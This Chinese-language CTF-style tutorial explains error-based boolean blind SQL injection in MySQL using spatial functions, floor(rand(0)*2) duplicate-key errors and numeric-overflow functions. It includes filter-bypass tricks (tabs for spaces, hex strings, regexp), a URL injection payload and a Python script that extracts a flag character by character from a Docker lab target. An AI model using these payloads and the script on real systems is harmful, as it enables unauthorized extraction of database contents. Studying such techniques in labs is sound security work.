0%

一种基于运行错误的Bool型盲注原理剖析

一种基于运行错误的Bool型盲注原理剖析

前言

文章首发于i春秋

老规矩,我已经将靶机封装到Docker镜像中供各位观众姥爷们食用。

靶机Docker镜像:gqleung/spatial_functions_blind_inject

什么是基于运行错误的Bool型盲注

简单的说就是它能够通过MYSQL解释器检查,但是运行时候又会产生错的函数。我们可以用它来进行布尔型盲注。我们下面就来讲解一下一些能够通过MYSQL解释器的预检查却在运行时候出现错误的SQL函数。

Spatial Functions

ST_GeomFromTextST_MPointFromText是两个可以从文本中解析Spatial function的函数,如果我们的语法各方面都复合mysql的规则,如果我们在解析文本中做手脚呢?MYSQL解释器不会检查一个字符串是否复合MYSQL语法要求,很明显这样我们就可以绕过MYSQL预检查,但是在运行时候又「恰逢其时」地出错,这样我们就可以进行Bool盲注了。需要注意的是ST_GeomFromText针对的是POINT()函数,ST_MPointFromText针对的是MULTIPOINT()函数的。

ST_GeomFromText为例:

例如构造如下SQL语句,很明显POINT函数传入的必须是GIS中的地理坐标的数据类型,这里写入的是一个常量或者undefined类型,但是他却能正常运行。

mysql> SELECT IF(0, ST_X(ST_GeomFromText('POINT(gqleung)')), 0);
+---------------------------------------------------+
| IF(0, ST_X(ST_GeomFromText('POINT(gqleung)')), 0) |
+---------------------------------------------------+
|                                                 0 |
+---------------------------------------------------+
1 row in set (0.00 sec)

WX20210126-011441@2x

假设我们将if的表达式改成false呢,很明显会执行中间的参数,POINT的数据类型错误会导致报错。

mysql> SELECT IF(1, ST_X(ST_GeomFromText('POINT(gqleung)')), 0);
ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext.

WX20210126-012024@2x

  • 注意在Mysql5.7.6以上版本 ST_X、ST_GeomFromText已经被弃用,使用ST_GeomFromText('POINT(mads)')代替即可

总结,其他可用的函数:

SELECT IF({}, ST_X(ST_GeomFromText('POINT(mads)')), 0);
SELECT IF({}, ST_MPointFromText('MULTIPOINT (mads)'),0);
SELECT IF({}, ST_X(MADS), 0);
SELECT IF({}, ST_MPointFromText('MADS'),0);
SELECT IF({}, ST_GeomFromText('MADS'),0);

我们再来看我们的靶机(Docker镜像:gqleung/tmd_sz_fsl)

经过fuzz可以发现这个靶机不论参数传递数字都是会返回同一张图,但是如果存在被ban掉的字符会返回如下图:

WX20210126-014859@2x

我们可以借此FUZZ出被ban掉的关键字:

union、*、'、"、substr、mid、=、like、into、file、sleep、benchmark、 、^、or、、、、&、>、<、#、-、ascii、ord、floor、extractvalue、updatexml、if、rp、rep、GET_LOCK、info
  • 这里过滤了空格,这里可以直接用\t来代替空格,URL编码后是%09,在写脚本时候可以使用TAB键来代替。

  • 过滤了单双引号,可以使用十六进制来代替字符串。

  • 过滤了if可以使用case when....then....else...end代替

  • 过滤了等于号、大于、小于、减号、like、我们可以使用正则表达式来判断也就是regexp

我们通过上面所讲解的ST_GeomFromText,结合上述过滤考点,构造如下payload,当然空格要用%09代替。

index.php?cat=1%09and%09IF(0,ST_X(ST_GeomFromText(0x504F494E54286D61647329)),0)

如果if表达式为false可以发现返回正常的页面:

WX20210126-020116@2x

若if表达式为true,那么将会返回运行错误的页面:

WX20210126-020240@2x

据此编写Python脚本:

#author:Gqleung
#Email:  admin@plasf.cn
#blog:   http://www.plasf.cn

import requests

def ord2hex(string):
    result = ""
    for i in string:
        r = hex(ord(i));
        r = r.replace('0x','')
        result = result+r
    return '0x'+result

url = "http://47.98.234.232:28076/index.php?cat="
tables = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-}{'
result=""
for i in range(1,70):
    for j in tables:
        if j =="{" or j=="}":
            j='\\'+j
        payload = "1    and    IF((select    flag    from    flag)    regexp    binary    %s,    ST_X(ST_GeomFromText(0x504F494E54286D61647329)),    0)"%(ord2hex("^"+result+j))
        r = requests.get(url+payload);
        if 'cat' not in r.text:
            result=result+j
            print(result.replace('\\',''))
            break

运行结果:

WX20210126-021628@2x

FLOOR(X)

咱们先了解主键重复报错注入的原理

主键重复报错注入

FLOOR(X)

该函数返回X的最大整数值,但不能大于X,也就是向下取整。

例如,下列语句5.20返回的值将会是5.

select floor(5.20)

WX20201225-083818@2x

我们先来看Payload再来分析其中的原理

select count(*),(concat(floor(rand(0)*2),(select user())))x from user group by x;
  • Q1为什么用floor(rand(0)*2)?

要回答这个问题,必须从floor报错注入的原理理解:

例如,user()中含有五条数据:

select rand() from user

WX20201225-093334@2x

可以发现会随机生成小于0的随机数。当然rand()*2生成0-1的随机数

WX20201225-093851@2x

加上floor就是取整。会生成0或者1的随机值:

WX20201225-094006@2x

但是为什么用rand(0)呢?

Rand()两次运行的结果,可以明显地看到rand()产生的结果是随机的。

WX20201225-094117@2x

WX20201225-094710@2x

Rand(0)两次运行的结果,可以发现两次运行的结果完全一致,说明rand(0)是伪随机的。

WX20201225-094830@2x

WX20201225-094830@2x

我们再来了解一下group by 的运作过程。

GROUP BY 语句用于结合聚合函数,根据一个或多个列对结果集进行分组。

例如:如下SQL语句:

select id as "number", contents as "内容" from cat group by number

执行该sql语句会生成一个新的虚拟表,group by 即指定虚拟表中的对应字段来作为主键。

WX20210120-131144@2x

我们知道主键只能是唯一的,如果主键出现重复的情况就会发生报错,将重复的主键输出在报错信息中,我们回过头来看报错注入的Payload.

select count(*),(concat(floor(rand(0)*2),(select user())))x from user group by x;

我们看到这里以x 为主键,rand(0)*2生成0-2之间的伪随机数,同时使用floor来取整,出现的只能是值为0或者1(当然前提是表所存储的记录条数要>3条才有可能重复)。使用concat将要查询的内容拼接入主键,这样在报错时会将咱们想要的内容作为报错信息输出。

例如:

WX20210120-133637@2x

注:输出字符长度限制为64个字符

我们了解完FLOOR(X)报错注入原理后开始从FLOOR(X)报错注入盲注来简述其中的道理,我们直接从payload来看:

select count(*),floor(rand(0)*2)x from cat group by if(1,x,0);

我们知道floor(rand(0)*2)产生的随机数是伪随机数范围在0-1,如果将其参数的结果作为主键就会造成报错,假设我们用if语句来控制x是否作为主键呢?这就有可能造成不报错的情况,用此来作为报错注入盲注。通常情况与Spatial Functions报错注入盲注类似。

mysql> select count(*),floor(rand(0)*2)x from cat group by if(1,x,0);
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
mysql> select count(*),floor(rand(0)*2)x from cat group by if(0,x,0);
+----------+---+
| count(*) | x |
+----------+---+
|        2 | 0 |
+----------+---+
1 row in set (0.00 sec)

数据溢出型

在报错注入中数据溢出的函数同样可用如下。

mysql> select pow(2,1024);
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(2,1024)'
mysql> select cot(0);
ERROR 1690 (22003): DOUBLE value is out of range in 'cot(0)'
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

###